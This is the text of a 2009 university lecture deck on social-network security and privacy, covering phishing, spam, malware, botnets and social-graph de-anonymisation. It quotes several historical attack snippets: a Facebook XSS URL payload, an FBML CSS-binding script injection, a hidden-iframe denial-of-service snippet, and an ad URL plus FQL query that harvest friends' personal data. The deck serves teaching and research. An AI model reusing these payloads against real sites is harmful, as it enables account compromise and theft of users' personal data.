Social Networks and Security

Checkpoint
Sep 7, 2009

Joseph Bonneau, Computer Laboratory
Hack #1: Photo URL Forging

http://www.facebook.com/photo.php?id=34947682&id=210132

My Photos - Cambridge 2008-2009
Photo 4 of 30 | Back to Album | My Photos

Photo Exploits: PHP parameter fiddling (Ng, 2008)
Hack #1: Photo URL Forging

Photo Exploits: Content Delivery Network URL fiddling
Overview

I. The Social Network Ecosystem
II. Security
III. Privacy
A Brief History

- SixDegrees.com, 1997
- Friendster, 2002
- MySpace, 2003
- Facebook, 2004
- Twitter, 2006

Exponential Growth

Facebook - Total Active Users

InsideFacebook.com
Facebook is Everywhere...

Freetown Christiania (Copenhagen, Denmark)
Demographics

Still fairly dominated by youth
Demographics

Rapid growth in older demographics
## Global Growth

<table>
<thead>
<tr>
<th>Country</th>
<th>10/8/08</th>
<th>3Q08 Growth</th>
<th>2008 Growth</th>
</tr>
</thead>
<tbody>
<tr>
<td>United States</td>
<td>32,975,440</td>
<td>16%</td>
<td>94%</td>
</tr>
<tr>
<td>United Kingdom</td>
<td>12,410,520</td>
<td>9%</td>
<td>43%</td>
</tr>
<tr>
<td>Canada</td>
<td>9,324,600</td>
<td>-2%</td>
<td>7%</td>
</tr>
<tr>
<td>Turkey</td>
<td>4,921,980</td>
<td>41%</td>
<td>73%</td>
</tr>
<tr>
<td>Chile</td>
<td>3,682,680</td>
<td>50%</td>
<td>3343%</td>
</tr>
<tr>
<td>France</td>
<td>3,622,960</td>
<td>48%</td>
<td>183%</td>
</tr>
<tr>
<td>Australia</td>
<td>3,559,380</td>
<td>6%</td>
<td>52%</td>
</tr>
<tr>
<td>Colombia</td>
<td>3,304,600</td>
<td>23%</td>
<td>325%</td>
</tr>
<tr>
<td>Venezuela</td>
<td>1,591,220</td>
<td>48%</td>
<td>1061%</td>
</tr>
<tr>
<td>Italy</td>
<td>1,342,600</td>
<td>135%</td>
<td>460%</td>
</tr>
<tr>
<td>Sweden</td>
<td>1,324,060</td>
<td>16%</td>
<td>21%</td>
</tr>
<tr>
<td>Denmark</td>
<td>1,244,700</td>
<td>58%</td>
<td>204%</td>
</tr>
<tr>
<td>Norway</td>
<td>1,227,260</td>
<td>8%</td>
<td>15%</td>
</tr>
<tr>
<td>Spain</td>
<td>1,214,200</td>
<td>57%</td>
<td>265%</td>
</tr>
<tr>
<td>Mexico</td>
<td>1,168,320</td>
<td>6%</td>
<td>80%</td>
</tr>
<tr>
<td>Hong Kong</td>
<td>1,134,860</td>
<td>24%</td>
<td></td>
</tr>
<tr>
<td>Argentina</td>
<td>1,094,780</td>
<td>114%</td>
<td>1033%</td>
</tr>
<tr>
<td>South Africa</td>
<td>961,720</td>
<td>-1%</td>
<td>31%</td>
</tr>
<tr>
<td>Belgium</td>
<td>925,600</td>
<td>78%</td>
<td>258%</td>
</tr>
<tr>
<td>Germany</td>
<td>860,460</td>
<td>24%</td>
<td>79%</td>
</tr>
<tr>
<td>India</td>
<td>794,440</td>
<td>3%</td>
<td>47%</td>
</tr>
<tr>
<td>Egypt</td>
<td>791,440</td>
<td>-1%</td>
<td>29%</td>
</tr>
<tr>
<td>Switzerland</td>
<td>701,420</td>
<td>67%</td>
<td>217%</td>
</tr>
<tr>
<td>Finland</td>
<td>680,780</td>
<td>26%</td>
<td>58%</td>
</tr>
<tr>
<td>Greece</td>
<td>663,920</td>
<td>28%</td>
<td>260%</td>
</tr>
</tbody>
</table>
Global Players (11/2008)

The data shows the highest ranking social network for each country by traffic, not by members, page views or any other method.

Data was taken from Alexa.com on 16th Nov 2008

Alexa data comes from users who have the Alexa toolbar as well as "data obtained from other, diverse traffic data sources" - Alexa.com

Countries in gray do not have data available and for a few countries it was difficult to identify local social networks and therefore were omitted from the map.

It's not perfect so let me know of any errors or suggestions.

www.oxyweb.co.uk/blog

Credit: oxyweb.co.uk
American Control
Why Worry About Social Networks?

Just LAMP websites where you list your friends...
The Surprising Depth of Facebook

Mike Barash Location scouting for Photography.Book.Now

Holly Kreuter at 10:20pm April 29
You get to do all the fun stuff.

melissa hillard ⬆️ Stephanie Bognuda: even in 1997, we KNEW it was a conspiracy...

Tupac Is Alive!!!!!!!!!!!!!!!!!!! | TMZ.com
Source: www.tmz.com
TMZ has obtained photographic evidence that Tupac Shakur is alive and well and drinking Hand Grenades in New Orleans -- unless we're terribly mistaken. ...

7 hours ago · Comment · Like · Share · See Wall-to-Wall

Facebook Stream
The Surprising Depth of Facebook

Facebook Applications
Connect The Run Around with Facebook to interact with your friends on this site and to share on Facebook through your Wall and friends' News Feeds. This site will also be able to automatically post recent activity back to Facebook.

Email: 
Password:

By proceeding, you are allowing The Run Around to access your information and you are agreeing to the Facebook Terms of Use in your use of The Run Around. By using The Run Around, you also agree to the The Run Around Terms of Service.

Facebook Connect
## Web 2.0?

<table>
<thead>
<tr>
<th>Function</th>
<th>Internet version</th>
<th>Facebook version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page Markup</td>
<td>HTML, JavaScript, SQL, SMTP</td>
<td>FBML, FBQL</td>
</tr>
<tr>
<td>DB Queries</td>
<td>Usenet, etc., XML, RSS, OpenID</td>
<td>FB Mail</td>
</tr>
<tr>
<td>Email</td>
<td>XMPP, RSS, Blogger, etc.</td>
<td>FB Groups</td>
</tr>
<tr>
<td>Forums</td>
<td>Flickr, etc., YouTube, etc.</td>
<td>FB Chat</td>
</tr>
<tr>
<td>Instant Messages</td>
<td>Facebook, etc., Twitter, etc.</td>
<td>FB Connect</td>
</tr>
<tr>
<td>News Streams</td>
<td>FB Stream, Facebook, etc.</td>
<td>FB Photos</td>
</tr>
<tr>
<td>Authentication</td>
<td>FB Connect, Facebook, etc.</td>
<td>FB Video</td>
</tr>
<tr>
<td>Photo Sharing</td>
<td>FB Photos, Facebook, etc.</td>
<td>FB Notes</td>
</tr>
<tr>
<td>Video Sharing</td>
<td>FB Status Updates, Facebook, etc.</td>
<td>FB Points</td>
</tr>
<tr>
<td>Blogging</td>
<td>Classified Ads</td>
<td>FB Events</td>
</tr>
<tr>
<td>Microblogging</td>
<td>Classified Ads</td>
<td>FB Marketplace</td>
</tr>
<tr>
<td>Micropayment</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Event Planning</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Classified Ads</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
From Al Gore to Mark Zuckerberg

- Facebook has essentially re-invented the Internet
  - Centralised
  - Proprietary
  - Walled
  - Strong(er) identity

- Killer addition is social context
“Given sufficient funding, all web sites expand in functionality until users can add each other as friends”
Facebook is the SNS that Matters

• Dominant
  - Largest and fastest-growing
  - Most internationally successful
  - Receives most media attention

• Advanced
  - Largest feature-set
  - Most complex privacy model
  - Closest representation of real-life social world
Hack #2: Facebook XSS

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=read_stream

Credit: theharmonyguy
Hack #2: Facebook XSS

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=1
Hack #2: Facebook XSS

http://www.facebook.com/connect/prompt_permissions.php?
ext_perm=%3Cscript
%3Ealert(document.getElementById(%22post_form_id
%22).value);%3C/script%3E

Credit: theharmonyguy
Overview

I. The Social Network Ecosystem
II. Security
III. Privacy
Mum murdered over Facebook profile status

By Richard Smith 2/09/2009

'Man stabbed lover over site'

A mum-of-four was murdered by her partner after she changed her Facebook profile to "single", a jury heard yesterday.
SNS Threat Model

- Account compromise
  - Email or SNS (practically the same)
- Computer compromise
- Monetary Fraud
  - Increasingly becoming a payment platform
- Service denial/mischief
<table>
<thead>
<tr>
<th>Function</th>
<th>Internet version</th>
<th>Facebook version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Page Markup</td>
<td>HTML, JavaScript</td>
<td>FBML</td>
</tr>
<tr>
<td>DB Queries</td>
<td>SQL</td>
<td>FBQL</td>
</tr>
<tr>
<td>Email</td>
<td>SMTP</td>
<td>FB Mail</td>
</tr>
<tr>
<td>Forums</td>
<td>Usenet, etc.</td>
<td>FB Groups</td>
</tr>
<tr>
<td>Instant Messages</td>
<td>XMPP</td>
<td>FB Chat</td>
</tr>
<tr>
<td>News Streams</td>
<td>RSS</td>
<td>FB Stream</td>
</tr>
<tr>
<td>Authentication</td>
<td>OpenID</td>
<td>FB Connect</td>
</tr>
<tr>
<td>Photo Sharing</td>
<td>Flickr, etc.</td>
<td>FB Photos</td>
</tr>
<tr>
<td>Video Sharing</td>
<td>YouTube, etc.</td>
<td>FB Video</td>
</tr>
<tr>
<td>Blogging</td>
<td>Blogger, etc.</td>
<td>FB Notes</td>
</tr>
<tr>
<td>Microblogging</td>
<td>Twitter, etc.</td>
<td>FB Status Updates</td>
</tr>
<tr>
<td>Micropayment</td>
<td>Peppercoin, etc.</td>
<td>FB Points</td>
</tr>
<tr>
<td>Event Planning</td>
<td>E-Vite</td>
<td>FB Events</td>
</tr>
<tr>
<td>Classified Ads</td>
<td>craigslist</td>
<td>FB Marketplace</td>
</tr>
</tbody>
</table>
The Downside of Re-inventing the Internet

- SNSs repeating all of the web's security problems
  - Phishing
  - Spam
  - 419 Scams & Fraud
  - Identity Theft/Impersonation
  - Malware
  - Cross-site Scripting
  - Click-Fraud
  - Stalking, Harassment, Bullying, Blackmail
Differences in the SNS world

- Each has advantages and disadvantages
  - Centralisation
  - Social Connections
  - Personal Information
Phishing

from Facebook <notification+f_s6a629@facebookmail.com>
reply-to noreply <noreply@facebookmail.com>
to Joseph Bonneau <jbonneau@gmail.com>
date Thu, Apr 30, 2009 at 12:36 AM
subject Stella Nordhagen tagged a photo of you on Facebook
mailed-by facebookmail.com
signed-by facebookmail.com

Stella tagged a photo of you in the album "Lent-ilicious!".

To see the photo, follow the link below:

Thanks,
The Facebook Team

Genuine Facebook emails
Phishing

Shoshana sent you a message.

Subject: Look at this!

"fbstarter.com"

To reply to this message, follow the link below:
http://www.facebook.com/n/?inbox/readmessage.php&t=1139989986147&mid=63b67eG334d4G1da651eG0

Phishing attempt, April 30, 2009
Phishing

Phishing attempt, April 30, 2009
Phishing

- Major Phishing attempts, April 29-30, 2009
  - Simple “look at this” messages
  - Phished credentials used to automatically log in, send more mail
  - Some users report passwords changed
- Most “elaborate” scheme seen yet
- Phishtank reports Facebook 7th most common target
  - Behind only banks, PayPal, eBay
Why SNSs are Vulnerable to Phishing

- “Social Phishing” is far more effective
  - 72% successful in controlled study (Jagatic et al.)
- No TLS for login page
- No anti-phishing measures
- Frequent genuine emails with login-links
- Users don't consider SNS password as valuable
- Web 2.0 sites encourage password sharing...
Password Sharing

Connect The Run Around with Facebook to interact with your friends on this site and to share on Facebook through your Wall and friends' News Feeds. This site will also be able to automatically post recent activity back to Facebook.

By proceeding, you are allowing The Run Around to access your information and you are agreeing to the Facebook Terms of Use in your use of The Run Around. By using The Run Around, you also agree to the The Run Around Terms of Service.

Find People You Email
Searching your email account is the fastest and most effective way to find your friends on Facebook.

Your Email: jbonneau@gmail.com
Password: [Field]

Find Friends

We won't store your password or contact anyone without your permission.

Inviting Your Friends

Web Email (Hotmail, Gmail, Yahoo, etc.)

Invite contacts from your email account.

Your Email: [Field]
Password: [Field]

Find Your Friends

We won't store your password or contact anyone without your permission.

Find People You IM

Find out which of your AOL Instant Messenger or Windows Live Messenger buddies are on Facebook.

Import AIM Buddy List »
Import Windows Live Contacts »
Many advantages over email phishing prevention
- Real-time monitoring
- Can block, revoke messages
- Block outgoing links

Fast response to recent attacks
- Emails blocked, removed, sites down within 24 hours
Spam

- Major factor in the decline of MySpace, Friendster
- Attractive target
  - Can message any user in the system
  - “Social Spam” much more effective than random spam
  - Account creation is very cheap
From: Psychic - Alex Silver

Date: Apr 29 11:35 PM

Subject: Psychic Stimulus Package

Body:

**Psychic Stimulus Package**  
**Alex Silver**

VISIT MY SITE

For a limited time I am offering an introductory offer to all new clients. Get a 15 minute live psychic reading online and YOU SET THE PRICE. Pay whatever you can afford or feel is fair.

This is a good way to save some money and also get to know me, see what I can do and to get answers to your pressing psychic questions.

Use the PayPal BUY NOW button below and enter any amount that feels right to you. Once you have completed the payment process you will be redirected and your psychic reading will take place with me in the chat box on your left.
Spam

- Many advantages for SNS
  - Global monitoring, blocking
  - Automatically detect spammer profiles
    - Analyse link history
    - Analyse graph structure
    - Analyse profile
- Aggressively request CAPTCHAs
- Legal: Facebook won US $873 M award
Spam

- Tough question: Spam vs. Viral Promotion?
- Facebook moving to two-classes of user:
  - User profiles bound to represent “real people”
    - Limits on friend count
    - Limits on usernames
    - Limits on messages
  - “Pages” for celebrities, companies, bands, charities, etc.
    - Most limits removed
    - Subject to stricter control
Malware

Koobface worm, launched August 2008

from Facebook <notification+f_s6a629@facebookmail.com>
reply-to noreply <noreply@facebookmail.com>
to Joseph Bonneau <jbonneau@gmail.com>
date Fri, Dec 5, 2008 at 5:08 PM
subject Katie Gunst sent you a message on Facebook...
mailed-by facebookmail.com

Katie sent you a message.

Subject: Nice ass! But why you put them in the internet?

"YAYYYYY
http://www.facebook.com/l.php?u=http://geocities.com%2Frubingallegos%09%2F%3Fdchbb850%3D13191be140046e6d498e1ac0d07d218c"
Calvin: hey
Evan: holy moly. what's up man?
Calvin: i need your help urgently
Evan: yes sir
Calvin: am stuck here in london
Evan: stuck?
Calvin: yes i came here for a vacation
Calvin: on my process coming back home i was robbed inside the hotel i loged in
Evan: ok so what do you need
Calvin: can you loan me $900 to get a return ticket back home and pay my hotel bills
Evan: how do you want me to loan it to you?
Calvin: you can have the money send via western union
Scams

• Effective due to social context
  - Skilled impersonators should be able to do much better
• Not much can be done to prevent
  - Education
• Again, build detection system using social context, history
  - Unexpected log-ins
  - References to Western Union, etc.
Malware

Koobface worm, launched August 2008
Malware

- Similar to Phishing
  - Rapid spread via social context
  - SNS can use social context to detect
  - Also, warn users leaving site
You are about to leave MySpace.com

In an effort to stop phishing, we are warning you:

**DO NOT ENTER YOUR MYSNACE PASSWORD** on this new website!

This warning does not mean that there is anything dangerous about the website you are about to visit. It is just a warning not to enter your MySpace password there, even if it looks like a MySpace login page.


- [Tom's Blog about Phishing](#)
- [Tom's Blog about this Warning Page](#)

[Go Back to MySpace](#)

Don't show me this alert again.
Botnet Command & Control

Twitterbot, August 2009
Botnet Command & Control

- Social channels identified in 2009 as optimal for C & C channel
  - Particularly Skype, MSN messenger, also Twitter, Facebook
  - Seen in the wild August 2009
- Can be monitored by service operator, but no incentive
SNS-hosted botnet

- Idea: add malicious JavaScript payload to a popular application

- Example: Denial of Service:

```html
<iframe name="1" style="border: 0px none #ffffff; width: 0px; height: 0px;"
src="http://victim-host/image1.jpg"
</iframe><br/>
```

Common Trends

- Social channels increase susceptibility to scams
  - Personal information also aids greatly in targeted attacks
- Fundamental issue: SNS environment leads to carelessness
  - Rapid, erratic browsing
  - Applications installed with little scrutiny
  - Fun, noisy, unpredictable environment
  - People use SNS with their brain turned off
Common Trends

• Centralisation helps in prevention
  - Complete control of messaging platform, blocking, revocation

• Social Context also useful
  - Can develop strong IDS
Web Hacking

- Most SNS have a poor security track record
  - Rapid growth
  - Complicated site design
  - Many feature interactions
- Lack of attention to security
  - Over half of sites failing even to deploy TLS properly!
Facebook Markup Language

Translated into HTML:

```html
<fb:swf swfsrc="http://myserver/flash.swf"
    imgsrc="http://myserver/image.jpg" imgstyle="-moz-binding: url('http://myserver/xssmoz.xml#xss');" />

```

Result: arbitrary JavaScript execution (Felt, 2007)
Facebook Query Language

Facebook Query Language Exploits (Bonneau, Anderson, Danezis, 2009)

```php
$fql_query = 'select uid1, uid2 from friend where uid1 in (1, 2, 3, 4, 5) and uid2 in (1, 2, 3, 4, 5)';

$user_id = 210132;

$xml = $facebook->api_client->fql_query($fql_query);
```
Hack #3: Facebook XSRF/Automatic Authentication

Credit: Ronan Zilberman
Overview

I. The Social Network Ecosystem

II. Security

III. Privacy
'Congrats to Uncle C' – how his wife's Facebook page exposed new MI6 head

- Page removed as Miliband plays down security lapse
- Children, pets and swimwear revealed

Sam Jones and Richard Norton-Taylor
guardian.co.uk, Sunday 5 July 2009 22.21 BST
Article history

John Sawers, who takes up the post of MI6 boss in November. Photograph: Emmanuel Dunand/AFP/Getty Images
Data of Interest

- Profile Data
  - Loads of PII (contact info, address, DOB)
  - Tastes, preferences
- Graph Data
  - Friendship connections
  - Common group membership
  - Communication patterns
- Activity Data
  - Time, frequency of log-in, typical behavior
Interested Parties

• Data Aggregation
  - Marketers, Insurers, Credit Ratings Agencies, Intelligence, etc.
  - SNS operator implicitly included
  - Often, graph information is more important than profiles

• Targeted Data Leaks
  - Employers, Universities, Fraudsters, Local Police, Friends, etc.
  - Usually care about profile data and photos
Major Privacy Problems

- Data is shared in ways that most users don't expect
- "Contextual integrity" not maintained
- Three main drivers:
  - Poor implementation
  - Misaligned incentives & economic pressure
  - Indirect information leakage
### Profile Settings

**My Profile**
- Update career and education, add associations and awards, and list specialities and interests.

**My Profile Photo**
- Your profile photo is visible to your network.

**Public Profile**
- Your public profile displays full profile information. 
  - ![LinkedIn Profile](http://www.linkedin.com/pub/soho-context/11/98b/79)

**Manage Recommendations**
- You haven’t received any recommendations.

**Status Visibility**
- Your current status is visible to your connections.

**Member Feed Visibility**
- Your member feed is visible to your connections.

### Email Notifications

**Contact Settings**
- You are receiving Introductions and InMails.

**Receiving Messages**
- Control how you receive emails and notifications.

**Invitation Filtering**
- You are receiving all invitations.

### Home Page Settings

**Network Updates**
- Settings to display Network Updates on your home page.

**News**
- News is currently shown on your home page.

### RSS Settings

**Your Private RSS Feeds**
- Enable or disable your private RSS feeds.

### Groups

**Group Invitation Filtering**
- You are receiving Group Invitations.

### Personal Information

**Name & Location**
- Control your name, location, and display name settings.

**Email Addresses**
- Your primary email address is currently: simonampleby@gmail.com

**Change Password**
- Change your LinkedIn account password.

**Close Your Account**
- Disable your account and remove your profile.

### Privacy Settings

**Research Surveys**
- Settings for receiving requests to participate in market research surveys related to your professional expertise.

**Connections Browse**
- Your connections are allowed to view your connections list.

**Profile Views**
- Control what (if anything) is shown to LinkedIn users whose profile you have viewed.

**Viewing Profile Photos**
- You can view everyone’s profile photos.

**Profile and Status Updates**
- Control whether your connections are notified when you update your status or make significant changes to your profile and whether those changes appear on your company’s profile.

**Service Provider Directory**
- If you are recommended as a service provider, you will be listed.

### My Network

**Using Your Network**
- Tell us how you want to use your LinkedIn network.
Poor Implementation

**enable photo tagging:**
- People can tag my photos with their friends
- My friends can tag me in photos
- People can see a list of photos I am tagged in

Orkut Photo Tagging
Facebook Connect Applications

Facebook Connect is a way to use applications outside of Facebook. You can take your Facebook profile information all over the Internet, and send interesting information back to your Facebook account.

When your friend connects their Facebook account with an application outside of Facebook, they will be able to compare their Facebook Friend List with information from that website in order to invite more friends to connect.

Don't allow friends to view my memberships on other websites through Facebook Connect.
Poor Implementation

- Applications given full access to profile data of installed users
- Even less revenue available for application developers...
Poor Implementation

- Better architectures proposed
  - Privacy by proxy
  - Privacy by sandboxing
Economic Pressure

• Most SNSs still lose money
  - Advertising business model yet to prove its viability
• Grow first, monetize later
  - “Growth is primary, revenue is secondary” - Mark Zuckerberg
• Privacy is often an impediment to new features
Economic Pressure

- Major survey of 45 social networks' privacy practices
- Key Conclusions:
  - “Market for privacy” fundamentally broken
  - Huge network effects, lock-in, lemons market
  - Sites with better privacy less likely to mention it!
Promotional Techniques

- Number/Sample of Users
- Photo Sharing
- Friends Are Already Members
- Communicate with Friends
- Share Videos/Music
- Discover New People
- Signup is Free
- Profile Personalisation
- Privacy Controls
- Blogging
- Applications/Games

Proportion of sites featuring this promotional argument:

- General purpose (N=29)
- Non general purpose (N=16)
Promotional Techniques

It's the greatest place to meet... because it has more cool people than my local phonebook!

Find people you know here
Already 33,082,535 people on Badoo!

33,082,535 people are on Badoo, 148,411 online now!
Terms of Service, hi5:

We provide your Personal Information to third party service providers who work on behalf of or with hi5 under confidentiality agreements to provide some of the services and features of the hi5 community and to help us communicate with hi5 Members. These service providers may use your personal information to communicate with you about offers and services from hi5 and our marketing partners. However, these service providers do not have any independent right to share this information.

If you decide to use one of the additional services that are offered by our partners, we may forward Personal Information to these partners to enable them to provide the services that you requested.
We also provide information to third-party advertising companies, as described in the next section.

Please be aware that the handling of your Personal Information by our partners or the third-party advertising companies is governed by their privacy policy, not ours.

Most Terms of Service reserve broad rights to user data
Information leaked by the Social Graph...
“Traditional” Social Network Analysis

- Performed by sociologists, anthropologists, etc. since the 70's
- Use data carefully collected through interviews & observation
  - Typically < 100 nodes
  - Complete knowledge
  - Links have consistent meaning
- All of these assumptions fail badly for online social network data
Traditional Graph Theory

• Nice Proofs
• Tons of definitions
• Ignored topics:
  • Large graphs
  • Sampling
  • Uncertainty
Many nice models

- Erdos-Renyi
- Watts-Strogatz
- Barabasi-Albert

Social Networks properties:

- Power-law
- Small-world
- High clustering coefficient
Real social graphs are complicated!
We do know many graph algorithms:

- Find important nodes
- Identify communities
- Train classifiers
- Identify anomalous connections

Major Privacy Implications!
Privacy Questions

• What can we infer purely from link structure?
Privacy Questions

• What can we infer purely from link structure?
  A surprising amount!

• Popularity
• Centrality
• Introvert vs. Extrovert
• Leadership potential
• Communities
Privacy Questions

- If we know nothing about a node but it's neighbours, what can we infer?
Privacy Questions

• If we know nothing about a node but its neighbours, what can we infer?
  A lot!
• Gender
• Political Beliefs
• Location
• Breed?
Privacy Questions

• Can we anonymise graphs?
Privacy Questions

- Can we anonymise graphs?
  
  Not easily...

- Seminal result by Backstrom et al.: Active attack needs just 7 nodes
- Can do even better given user's complete neighborhood
- Also results for correlating users across networks
- Developing line of research...
De-anonymisation (active)

A Social Graph with Private Links
De-anonymisation (active)

Attacker adds $k$ nodes with random edges
De-anonymisation (active)

Attacker links to targeted nodes
De-anonymisation (active)

Graph is anonymised and edges are released
De-anonymisation (active)

Attacker searches for unique k-subgroup
De-anonymisation (active)

Link between targeted nodes is confirmed
De-anonymisation (passive)

- Similar to above, except $k$ normal users collude and share their links
- Only compromise random targets
De-anonymisation results

- 7 nodes need to be created in active attack
  - De-anonymize 70 chosen nodes!
- 7 nodes in passive coalition compromise ~ 10 random nodes
Cross-graph De-anonymisation

• Goal: identify users in a private graph by mapping to public graph

• “Shouldn't” work: graph isomorphism is NP-complete

• Works quite well in practice on real graphs!
Cross-graph De-anonymisation

Public Graph

Private Graph
Cross-graph De-anonymisation

Step 1: Identify Seed Nodes
Cross-graph De-anonymisation

Step 2: Assign mappings based on mapped neighbors
Cross-graph De-anonymisation

Step 3: Iterate
Cross-graph De-anonymisation

- Demonstrated on Twitter and Flickr
  - Only 24% of Twitter users on Flickr, 5% of Twitter users on Flickr
  - 31% of common users identified (~9,000) given just 30 seeds!
- Real-world attacks can be much more powerful
  - Auxiliary knowledge
  - Mapping of attributes, language use, etc.
Privacy Questions

• What can we infer if we “compromise” a fraction of nodes?
Privacy Questions

• What can we infer if we “compromise” a fraction of nodes?
A lot...
• Common theme: small groups of nodes can see the rest
  • Danezis et al.
  • Nagaraja
  • Korolova et al.
  • Bonneau et al.
Privacy Questions

• What if we get a subset of neighbours for all nodes?
Privacy Questions

• What if we get a subset of \( k \) neighbours for all nodes?

Emerging question for many social graphs

• Facebook and online SNS
• Mobile SNS
Attack Scenario

• Spider all public listings
  • Our experiments crawled 250 k users daily
  • Implies ~800 CPU-days to recover all users

• Use sampled graph to compute functions of original
Estimating Degrees

Average Degree: 3.5
Estimating Degrees

Sampled with $k=2$
Estimating Degrees

Degree known exactly for one node
Naïve approach: Multiply in-degree by average degree / k
Estimating Degrees

Raise estimates which are less than $k$
Nodes with high-degree neighbors underestimated
Estimating Degrees

Iteratively scale by current estimate / k in each step
Estimating Degrees

After 1 iteration
Estimating Degrees

Normalise to estimated total degree
Estimating Degrees

Convergence after $n > 10$ iterations
Estimating Degrees

• Converges fast, typically after 10 iterations

• Absolute error is high—38% average
  • Reduced to 23% for nodes with $d \geq 50$

• Still accurately can pick high degree nodes
Aggregate of $x$ highest-degree nodes

Cumulative Degree, $k=8$

- Complete graph
- Random estimation
- Naive estimation
- Iterative estimation

Edges Found vs Nodes Included
Approximable Functions

- Node Degree
- Dominating Set
- Betweenness Centrality
- Path Length
- Community Structure
Conclusions

- Social networking coming to dominate the web
- Many old security lessons being re-learned
- Social context changes fraud environment
- Social graph challenging privacy requirements
Hack #4: Application Data Theft

What happens when you take a quiz...
Hack #4: Application Data Theft

Facebook Application Architecture
Hack #4: Application Data Theft

http://sochr.com/i.php\&name=[Joseph Bonneau]\&nx=[My User ID]\&age=[My DOB]\&gender=[My Gender]\&pic=[My Photo URL]\&fname0=[Friend #1 Name 1]\&fname1=[Friend #2 Name]\&fname2=[Friend #3 Name]\&fname3=[Friend #4 Name]\&fpic0=[Friend #1 Photo URL]\&fpic0=[Friend #2 Photo URL]\&fpic0=[Friend #3 Photo URL]\&fpic0=[Friend #4 Photo URL]\&fb_session_params=[All of the quiz application's session parameters]

URL for banner ad
Hack #4: Application Data Theft

```sql
select uid, birthday, current_location, sex, first_name, name, pic_square, relationship_status FROM user WHERE uid IN (select uid2 from friend where uid1 = '[current user id]') and strlen(pic) > 0 order by rand() limit 500
```

Query made by banner ad through user's browser
Hack #4: Application Data Theft

What the users sees...

Create Your Own Quiz >

Hey Peter
Hot singles are waiting for you!!
My Reading List

- [http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html](http://www.cl.cam.ac.uk/~jcb82/sns_bib/main.html)
- Questions?